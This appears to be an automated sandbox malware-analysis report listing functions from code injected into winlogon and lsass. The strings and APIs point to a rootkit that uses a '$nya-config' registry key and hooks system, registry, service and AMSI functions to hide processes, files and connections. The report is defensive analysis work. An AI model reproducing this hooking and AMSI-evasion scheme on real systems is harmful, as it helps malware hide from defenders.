HeapAlloc.KERNEL32 ref: 00000225DC6712A4

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: bf93436e8b06f2ff5ad44ff40c5e4fad4cbd51e911b6f2727cba50eb4f4d7872
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: 9FE06D35641A14AAF714CFA6D80C34936E1FF88F06F44C024C98907390EF7D8499C742

Function 00000225DC6A1264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A126A
HeapAlloc.KERNEL32 ref: 00000225DC6A1279
GetProcessHeap.KERNEL32 ref: 00000225DC6A1293
HeapAlloc.KERNEL32 ref: 00000225DC6A12A4

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 0a1c56e25ee5db3eb0535300d2575e74568581a8c9c731ae2c8e461e2ccff497
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: B7E06535A11A14AAE7288FA6D80C38936E2FB98F07F48C024C90D07360EF7D8499CB81

Function 00000225DC641000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641006
HeapAlloc.KERNEL32 ref: 00000225DC641015
GetProcessHeap.KERNEL32 ref: 00000225DC641028
HeapAlloc.KERNEL32 ref: 00000225DC641037

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 4e31467a791c9597f993cc1cc15cf2794c9e3848138c65830c0539e2b7d329e9
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: BDE01A75621A14ABE7289FA6DC0C3597AE1FB8CF16F98C024C90907320FE3CD499DB11

Function 00000225DC671000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC671006
HeapAlloc.KERNEL32 ref: 00000225DC671015
GetProcessHeap.KERNEL32 ref: 00000225DC671028
HeapAlloc.KERNEL32 ref: 00000225DC671037

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 23fe0bf58cde12441d7855fc1d5244312edb8ab1c4b39374223f342a299c4fd6
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 2AE0E575651A14AAF728DBA6D80825976A1FF88F16F88C024C949073A0FE388499DB12

Function 00000225DC6A1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A1006
HeapAlloc.KERNEL32 ref: 00000225DC6A1015
GetProcessHeap.KERNEL32 ref: 00000225DC6A1028
HeapAlloc.KERNEL32 ref: 00000225DC6A1037

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 4c756b871459276bfd73525a54b91d6da620adeb0992020cc646d42d4f2ae7cf
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: CDE01A75621A14ABE7299FA6DC0839976E2FB9CF17F88C024C90D07320FE3C8499DB11

Analysis Process: lsass.exePID: 628, Parent PID: 5016COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1463
Total number of Limit Nodes:	17

Executed Functions

Function 00000202C0AE2300 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00000202C0AE232B
StrCmpNIW.SHLWAPI ref: 00000202C0AE239A

Part of subcall function 00000202C0AE35C8: GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE35EB
Part of subcall function 00000202C0AE35C8: HeapAlloc.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE35FE
Part of subcall function 00000202C0AE35C8: StrCmpNIW.SHLWAPI(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE3673
Part of subcall function 00000202C0AE35C8: GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE36D9
Part of subcall function 00000202C0AE35C8: HeapFree.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE36E7

Strings

S, xrefs: 00000202C0AE24BB
$nya-, xrefs: 00000202C0AE2393

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFreeInformationQuerySystem
String ID: $nya-$S
API String ID: 722747020-3492252248
Opcode ID: 4ac77b2c6d0e63e88a47bc1c42b4b05fc6ca31a13af142bc6dc0eee490c53e66
Instruction ID: 976f185b7510bdf11140a7ca03e3180a70de357a2b4d5b6b1581422fb8e9235f
Opcode Fuzzy Hash: 4ac77b2c6d0e63e88a47bc1c42b4b05fc6ca31a13af142bc6dc0eee490c53e66
Instruction Fuzzy Hash: F451C132B107A4C6F760CB25D88CAAD63E4F744788F069027DFA917B86DB39C969C700

Function 00000202C0AE1724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE172F
HeapAlloc.KERNEL32 ref: 00000202C0AE173E

Part of subcall function 00000202C0AE1264: GetProcessHeap.KERNEL32 ref: 00000202C0AE126A
Part of subcall function 00000202C0AE1264: HeapAlloc.KERNEL32 ref: 00000202C0AE1279
Part of subcall function 00000202C0AE1264: GetProcessHeap.KERNEL32 ref: 00000202C0AE1293
Part of subcall function 00000202C0AE1264: HeapAlloc.KERNEL32 ref: 00000202C0AE12A4

Part of subcall function 00000202C0AE1000: GetProcessHeap.KERNEL32 ref: 00000202C0AE1006
Part of subcall function 00000202C0AE1000: HeapAlloc.KERNEL32 ref: 00000202C0AE1015
Part of subcall function 00000202C0AE1000: GetProcessHeap.KERNEL32 ref: 00000202C0AE1028
Part of subcall function 00000202C0AE1000: HeapAlloc.KERNEL32 ref: 00000202C0AE1037

RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17AE
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17DB
RegCloseKey.ADVAPI32 ref: 00000202C0AE17F5
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1815
RegCloseKey.KERNELBASE ref: 00000202C0AE1830
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1850
RegCloseKey.ADVAPI32 ref: 00000202C0AE186B
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE188B
RegCloseKey.ADVAPI32 ref: 00000202C0AE18A6
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE18C6
RegCloseKey.ADVAPI32 ref: 00000202C0AE18E1
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1901
RegCloseKey.ADVAPI32 ref: 00000202C0AE191C
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE193C
RegCloseKey.ADVAPI32 ref: 00000202C0AE1957
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1977
RegCloseKey.ADVAPI32 ref: 00000202C0AE1992
RegCloseKey.ADVAPI32 ref: 00000202C0AE199C

Part of subcall function 00000202C0AE12B8: RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1315
Part of subcall function 00000202C0AE12B8: GetProcessHeap.KERNEL32 ref: 00000202C0AE1323
Part of subcall function 00000202C0AE12B8: HeapAlloc.KERNEL32 ref: 00000202C0AE1334
Part of subcall function 00000202C0AE12B8: RegEnumValueW.ADVAPI32 ref: 00000202C0AE1393
Part of subcall function 00000202C0AE12B8: GetProcessHeap.KERNEL32 ref: 00000202C0AE13DB
Part of subcall function 00000202C0AE12B8: HeapAlloc.KERNEL32 ref: 00000202C0AE13E9
Part of subcall function 00000202C0AE12B8: GetProcessHeap.KERNEL32 ref: 00000202C0AE1406
Part of subcall function 00000202C0AE12B8: HeapFree.KERNEL32 ref: 00000202C0AE1414
Part of subcall function 00000202C0AE12B8: lstrlenW.KERNEL32 ref: 00000202C0AE141D
Part of subcall function 00000202C0AE12B8: GetProcessHeap.KERNEL32 ref: 00000202C0AE142B
Part of subcall function 00000202C0AE12B8: HeapAlloc.KERNEL32 ref: 00000202C0AE1439

Strings

pid, xrefs: 00000202C0AE180E
paths, xrefs: 00000202C0AE1884
startup, xrefs: 00000202C0AE17D1
SOFTWARE\$nya-config, xrefs: 00000202C0AE178E
tcp_local, xrefs: 00000202C0AE18FA
tcp_remote, xrefs: 00000202C0AE1935
udp, xrefs: 00000202C0AE1970
service_names, xrefs: 00000202C0AE18BF
process_names, xrefs: 00000202C0AE1849

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: dc3027e100e7a8585adb976db0aa4c1227795743895ae4604795d7442d5a4fc6
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: DD71C636610B50C9FB10DF76E89C69D23A4FB84B88F421123DB9E57A6ADE39C458C740

Function 00000202C0AE1E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000202C0AE1E7F

Part of subcall function 00000202C0AE22A8: GetModuleHandleA.KERNEL32(?,?,?,00000202C0AE1EB1), ref: 00000202C0AE22C0
Part of subcall function 00000202C0AE22A8: GetProcAddress.KERNEL32(?,?,?,00000202C0AE1EB1), ref: 00000202C0AE22D1

CreateThread.KERNELBASE ref: 00000202C0AE2043
TlsAlloc.KERNEL32 ref: 00000202C0AE2049
TlsAlloc.KERNEL32 ref: 00000202C0AE2055
TlsAlloc.KERNEL32 ref: 00000202C0AE2061
TlsAlloc.KERNEL32 ref: 00000202C0AE206D
TlsAlloc.KERNEL32 ref: 00000202C0AE2079
TlsAlloc.KERNEL32 ref: 00000202C0AE2085

Strings

PdhGetRawCounterArrayW, xrefs: 00000202C0AE1FD0
NtQueryDirectoryFile, xrefs: 00000202C0AE1EDF
sechost.dll, xrefs: 00000202C0AE1F99
AmsiScanBuffer, xrefs: 00000202C0AE2012
EnumServiceGroupW, xrefs: 00000202C0AE1F50
NtResumeThread, xrefs: 00000202C0AE1EC2
advapi32.dll, xrefs: 00000202C0AE1F57, 00000202C0AE1F78
NtQueryDirectoryFileEx, xrefs: 00000202C0AE1EFC
PdhGetFormattedCounterArrayW, xrefs: 00000202C0AE1FF1
NtQuerySystemInformation, xrefs: 00000202C0AE1EA5
NtEnumerateKey, xrefs: 00000202C0AE1F19
EnumServicesStatusExW, xrefs: 00000202C0AE1F71, 00000202C0AE1F92
NtEnumerateValueKey, xrefs: 00000202C0AE1F36
ntdll.dll, xrefs: 00000202C0AE1E8D
amsi.dll, xrefs: 00000202C0AE2019
NtDeviceIoControlFile, xrefs: 00000202C0AE1FB6
pdh.dll, xrefs: 00000202C0AE1FD7, 00000202C0AE1FF8

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 08a2ebef705224ec87e7d243a31c2443f02d9759f98051242431abd315881b8a
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: C8519DA1140B8AE5FB14EB65EDCCBDC2720F740788F824923976A06167DE79C66EC390

Function 00000202C0AE1E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000202C0AE1E47
GetProcAddress.KERNEL32 ref: 00000202C0AE1E57
SleepEx.KERNELBASE ref: 00000202C0AE1E67

Strings

AmsiScanBuffer, xrefs: 00000202C0AE1E50
amsi.dll, xrefs: 00000202C0AE1E40

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: f734452340a7dcf9d4f5df38be3cb1e1e1483fd86ec87bb37f84f6ee3b727116
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: ACD09E32611740D5FA1CAB21ECDC76C2261BF64F41FC70417C70E012A6DE3E895D8340

Function 00000202C0AE3A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000202C0AE3A35
PathFindFileNameW.SHLWAPI ref: 00000202C0AE3A44

Part of subcall function 00000202C0AE3F88: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE272F), ref: 00000202C0AE3FA0

Part of subcall function 00000202C0AE3EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3EDB
Part of subcall function 00000202C0AE3EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F0E
Part of subcall function 00000202C0AE3EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F2E
Part of subcall function 00000202C0AE3EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F47
Part of subcall function 00000202C0AE3EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F68

CreateThread.KERNELBASE ref: 00000202C0AE3A8B

Part of subcall function 00000202C0AE1E74: GetCurrentThread.KERNEL32 ref: 00000202C0AE1E7F
Part of subcall function 00000202C0AE1E74: CreateThread.KERNELBASE ref: 00000202C0AE2043
Part of subcall function 00000202C0AE1E74: TlsAlloc.KERNEL32 ref: 00000202C0AE2049
Part of subcall function 00000202C0AE1E74: TlsAlloc.KERNEL32 ref: 00000202C0AE2055
Part of subcall function 00000202C0AE1E74: TlsAlloc.KERNEL32 ref: 00000202C0AE2061
Part of subcall function 00000202C0AE1E74: TlsAlloc.KERNEL32 ref: 00000202C0AE206D
Part of subcall function 00000202C0AE1E74: TlsAlloc.KERNEL32 ref: 00000202C0AE2079
Part of subcall function 00000202C0AE1E74: TlsAlloc.KERNEL32 ref: 00000202C0AE2085

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: d1958dc9e64c19f1a7617c4a24c7aaa22d2134b747b4393a871ac78407530116
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: FB114C73618781C2FB64E720A5CD7AD2290AB54789F52412B97E6862D3EF7AC4AC8640

Function 00000202C0AB2EBC Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00000202C0AB302E

Memory Dump Source

Source File: 0000000A.00000003.2182941443.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_202c0ab0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 1be2c9892de14d5c1d5809facac573890b70df83cb34a6729bbc88fd12841374
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 6991E273B05390C7EB648F29E48CB6DB395FB54B94F5682279F490778ADA38D81AC700

Function 00000202C0AE1BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000202C0AE1724: GetProcessHeap.KERNEL32 ref: 00000202C0AE172F
Part of subcall function 00000202C0AE1724: HeapAlloc.KERNEL32 ref: 00000202C0AE173E
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17AE
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17DB
Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE17F5
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1815
Part of subcall function 00000202C0AE1724: RegCloseKey.KERNELBASE ref: 00000202C0AE1830
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1850
Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE186B
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE188B
Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE18A6
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE18C6

SleepEx.KERNELBASE ref: 00000202C0AE1BDF

Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE18E1
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1901
Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE191C
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE193C
Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE1957
Part of subcall function 00000202C0AE1724: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1977
Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE1992
Part of subcall function 00000202C0AE1724: RegCloseKey.ADVAPI32 ref: 00000202C0AE199C

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: 89b458e9973c9e425d56098a404ff8a4da767c7608af5d0e3aa3f1987bcdbbf9
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: 40311C752407A1C1FB549B26D9CC36D23A4EB84FC4F1654238FAAC7697EE24C8B8C214

Function 00000202C0AED220 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00000202C0AEC987), ref: 00000202C0AED275

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

